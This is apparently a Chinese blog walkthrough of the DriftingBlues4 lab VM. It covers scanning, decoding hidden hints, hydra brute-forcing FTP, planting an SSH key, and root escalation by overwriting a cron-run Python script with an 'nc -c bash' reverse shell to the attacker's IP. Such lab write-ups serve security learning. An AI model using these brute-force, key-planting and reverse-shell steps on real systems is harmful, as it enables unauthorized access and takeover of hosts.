【靶场系列】driftingblues4

信息收集

nmap扫描存活主机

sudo nmap -sV -A -p- 192.168.56.0/24

Nmap scan report for 192.168.56.138
Host is up (0.00057s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp
| fingerprint-strings: 
|   GenericLines: 
|     220 ProFTPD Server (driftingblues) [::ffff:192.168.56.138]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 6a:fe:d6:17:23:cb:90:79:2b:b1:2d:37:53:97:46:58 (RSA)
|   256 5b:c4:68:d1:89:59:d7:48:b0:96:f3:11:87:1c:08:ac (ECDSA)
|_  256 61:39:66:88:1d:8f:f1:d0:40:61:1e:99:c5:1a:1f:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.94SVN%I=7%D=4/18%Time=6621DBC4%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,98,"220\x20ProFTPD\x20Server\x20\(driftingblues\)\x20\[::ff
SF:ff:192\.168\.56\.138\]\r\n500\x20Invalid\x20command:\x20try\x20being\x2
SF:0more\x20creative\r\n500\x20Invalid\x20command:\x20try\x20being\x20more
SF:\x20creative\r\n");
MAC Address: 08:00:27:C3:43:E8 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.57 ms 192.168.56.138

Nmap scan report for 192.168.56.250
Host is up (0.00014s latency).
All 65535 scanned ports on 192.168.56.250 are in ignored states.
Not shown: 65535 filtered tcp ports (no-response)
MAC Address: 00:50:56:F8:71:75 (VMware)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop

在网页首页的源码里发现了一段base64,解码得到一个文件名

┌──(kali㉿kali)-[~/Desktop]
└─$ echo Z28gYmFjayBpbnRydWRlciEhISBkR2xuYUhRZ2MyVmpkWEpwZEhrZ1pISnBjSEJwYmlCaFUwSnZZak5DYkVsSWJIWmtVMlI1V2xOQ2FHSnBRbXhpV0VKellqTnNiRnBUUWsxTmJYZ3dWMjAxVjJGdFJYbGlTRlpoVFdwR2IxZHJUVEZOUjFaSlZWUXdQUT09 | base64 -d 
go back intruder!!! dGlnaHQgc2VjdXJpdHkgZHJpcHBpbiBhU0JvYjNCbElIbHZkU2R5WlNCaGJpQmxiWEJzYjNsbFpTQk1NbXgwV201V2FtRXliSFZhTWpGb1drTTFNR1ZJVVQwPQ==                                                                                                              
┌──(kali㉿kali)-[~/Desktop]
└─$ echo dGlnaHQgc2VjdXJpdHkgZHJpcHBpbiBhU0JvYjNCbElIbHZkU2R5WlNCaGJpQmxiWEJzYjNsbFpTQk1NbXgwV201V2FtRXliSFZhTWpGb1drTTFNR1ZJVVQwPQ== | base64 -d                    
tight security drippin aSBob3BlIHlvdSdyZSBhbiBlbXBsb3llZSBMMmx0Wm5WamEybHVaMjFoWkM1MGVIUT0=                                                                                        
┌──(kali㉿kali)-[~/Desktop]
└─$ echo aSBob3BlIHlvdSdyZSBhbiBlbXBsb3llZSBMMmx0Wm5WamEybHVaMjFoWkM1MGVIUT0= | base64 -d
i hope you're an employee L2ltZnVja2luZ21hZC50eHQ=

┌──(kali㉿kali)-[~/Desktop]
└─$ echo L2ltZnVja2luZ21hZC50eHQ= | base64 -d      
/imfuckingmad.txt

访问该文件,这是Brainfuck编码

+++++ +++++ [->++ +++++ +++<] >++++ +++++ .<+++ [->-- -<]>- --.<+ ++[->
+++<] >++++ .<+++ +++++ [->-- ----- -<]>- ----- ----- ---.< +++++ ++++[
->+++ +++++ +<]>+ +++++ .<+++ +[->- ---<] >--.< +++++ +++[- >---- ----<
]>--- --.<+ +++++ ++[-> +++++ +++<] >+.<+ +++[- >++++ <]>+. <+++[ ->---
<]>-- --.<+ +++++ ++[-> ----- ---<] >---- -.<++ +++++ +[->+ +++++ ++<]>
+.<++ +++++ +[->- ----- --<]> -.<++ +++++ ++[-> +++++ ++++< ]>+++ .<+++
[->-- -<]>- ----- .--.+ ++++. <++++ ++++[ ->--- ----- <]>-- ----- -.<++
+++++ +[->+ +++++ ++<]> +++.< +++[- >+++< ]>+++ .--.+ ++.<+ ++[-> ---<]
>---- --.<+ ++[-> +++<] >++++ .<+++ [->++ +<]>+ +.<++ +++++ ++[-> -----
----< ]>--- ----- .<+++ +++++ [->++ +++++ +<]>+ .<+++ [->++ +<]>+ +++.<
+++[- >---< ]>-.< +++++ +++[- >---- ----< ]>--- -.<++ +++++ ++[-> +++++
++++< ]>++. +.<++ +[->- --<]> --.++ +..<+ +++++ ++[-> ----- ---<] >----
----- ---.< +++++ +++[- >++++ ++++< ]>+++ ++++. --.<+ ++[-> +++<] >++++
++..< +++[- >---< ]>--. +++++ .---- ---.< +++++ +++[- >---- ----< ]>---
----. <++++ ++++[ ->+++ +++++ <]>++ +++++ +.--- ----. ++.++ +++++ +.---
---.- .<+++ +++[- >---- --<]> -...< +++++ [->-- ---<] >---- --.<+ +++++
+++[- >++++ +++++ <]>++ ++++. <+++[ ->--- <]>-- ----. ----- --.<+ +++[-
>++++ <]>++ +.<++ +++++ ++[-> ----- ----< ]>--- .<+++ +++++ +[->+ +++++
+++<] >+++. <+++[ ->--- <]>-- -.--- .<+++ +++++ [->-- ----- -<]>- ----.
<++++ +++++ [->++ +++++ ++<]> ++.<+ ++[-> ---<] >--.+ .<+++ [->++ +<]>+
+.<++ +++++ [->-- ----- <]>-- --... <++++ +[->- ----< ]>--- ---.< +++++
+++[- >++++ ++++< ]>+++ ++.++ +++++ ++.+. +++++ +.<++ +[->- --<]> -----
.+.<+ +++++ ++[-> ----- ---<] >---- ----. <++++ ++++[ ->+++ +++++ <]>++
+++++ ++.<+ ++[-> +++<] >+.<+ +++++ +++[- >---- ----- <]>-- .<+++ +++++
[->++ +++++ +<]>+ ++++. +++++ ++++. +.+++ +++.< +++[- >---< ]>--- --.+.
<++++ ++++[ ->--- ----- <]>-- ----- ...-. <++++ [->-- --<]> ---.- --.<+
++++[ ->+++ ++<]> .<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>.
.<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<]
>---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++
+++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>.
.<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<]
>---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++
+++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>.
.<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<]
>---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++
+++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>.
.<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<]
>---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++
+++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>.
.<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<]
>---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++
+++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>.
.<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<]
>---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++
+++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>.
.<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<]
>---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++
+++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>.
.<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<]
>---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++
+++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>.
.<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<]
>---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++
+++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>.
.<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<]
>---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++
+++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>.
.<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<]
>---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++
+++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>.
.<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<]
>---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++
+++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>.
.<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<]
>---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++
+++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>.
.<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<]
>---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++
+++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>.
.<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<]
>---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++
+++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>.
.<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<]
>---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++
+++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>.
.<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<]
>---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++
+++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>.
.<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<]
>---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++
+++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>.
.<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<]
>---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++
+++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>.
.<+++ +[->- ---<] >---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<]
>---- --.-- -.<++ +++[- >++++ +<]>. .<+++ +[->- ---<] >---- --.-- -.<++
+++[- >++++ +<]>. <++++ [->-- --<]> ----- -.--- .+++. ---.< +++++ +[->+
+++++ <]>+. <++++ +++[- >++++ +++<] >++++ +++++ .<+++ +[->- ---<] >----
-.<++ ++[-> ++++< ]>+++ ++.<+ +++[- >---- <]>-- ----. <++++ +[->- ----<
]>--- ----. <++++ [->++ ++<]> .<+++ +++[- >++++ ++<]> +++++ +++++ +.<++
+++++ [->-- ----- <]>-- ----- ----- --.<+ ++++[ ->+++ ++<]> +++++ +++.<
+++[- >+++< ]>+++ ++.++ +++++ .<+++ +[->- ---<] >---- -.<++ ++[-> ----<
]>-.< +++++ +[->+ +++++ <]>+. <++++ +++[- >---- ---<] >---- ----- .<+++
+++++ [->++ +++++ +<]>+ +.--. ----- --.<

解码网站:https://www.dcode.fr/brainfuck-language
解码得到/iTiS3Cr3TbiTCh.png文件名
访问该图片,是一个二维码
image.png
扫码得到URL https://i.imgur.com/a4JjS76.png
image.png

获取shell

这里得到几个用户名,猜测是ftp爆破,因为ssh不允许密码登录

hydra -L user.txt -P /usr/share/wordlists/rockyou.txt ftp://192.168.56.138 -V -t 10 -f

image.png
登录ftp服务器

ftp luther@192.168.56.138

image.png
从用户UID 1001不难看出这是一个用户home目录,我们对此目录具有777的权限,再加上ssh只能通过密钥登录,所以我们把可以上传公钥然后登录此用户

cd hubert
mkdir .ssh
put ~/.ssh/id_rsa.pub authorized_keys

如果没有密钥对,使用请先使用以下命令生成,默认保存在当前用户的.ssh你目录下
ssh-keygen -t rsa

登录ssh
image.png

权限提升

查看

hubert@driftingblues:~$ ls
emergency.py  user.txt
hubert@driftingblues:~$ cat emergency.py 
#!/usr/bin/python

import os

os.system('echo 1 >> /tmp/backdoor_testing')

# template python script for backdoor purposes
# i'm gonna leave it with loose permissions
# 
#
#
#
#
#
#
#
#
#
#
#
# say africa without a's

上传pspy64监控系统定时任务
可以看到系统每分钟会执行一次这个python文件
image.png
但是emergency.py只有读和执行的权限

hubert@driftingblues:~$ ls -la
total 3064
drwx------ 4 hubert hubert    4096 Apr 19 00:47 .
drwxr-xr-x 4 root   root      4096 Jan  9  2021 ..
-rwx------ 1 hubert hubert       1 Apr 19 00:47 .bash_history
-rwx------ 1 hubert hubert       1 Apr 19 00:47 .bashrc
-rwxr-xr-x 1 root   root       217 Jan  9  2021 emergency.py
drwx------ 3 hubert hubert    4096 Apr 19 00:23 .gnupg
-rwx------ 1 hubert hubert 3104768 Apr 17 19:19 pspy64
drwx------ 2 hubert hubert    4096 Apr 19 00:23 .ssh
-rwx------ 1 hubert hubert    1805 Jan  3  2021 user.txt

忽然想到,ftp服务的hubert目录和用户的目录不一致,find搜索发现该ftp根目录在另一目录

find / -name sync_log

同时,根据系统定时任务,猜测该ftp目录内的文件会定时同步到hubert的home目录

hubert@driftingblues:~$ ls -la /var/driftingblues_ftp/
total 16
drwxrwxrwx  3 root   root   4096 Jan  9  2021 .
drwxr-xr-x 14 root   root   4096 Jan  9  2021 ..
drwxrwxrwx  3 hubert hubert 4096 Apr 19 00:19 hubert
-rw-r--r--  1 root   root     50 Apr 19 00:55 sync_log

只要利用该同步特性将emergency.py覆盖掉即可

hubert@driftingblues:/tmp$ nano /var/driftingblues_ftp/hubert/emergency.py
hubert@driftingblues:/tmp$ cat /var/driftingblues_ftp/hubert/emergency.py
#!/usr/bin/python
import os
os.system('nc -c bash 192.168.56.129 5555')

成功提权
image.png
最后再使用python获取交互式shell

python3 -c 'import pty;pty.spawn("/bin/bash")'
  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值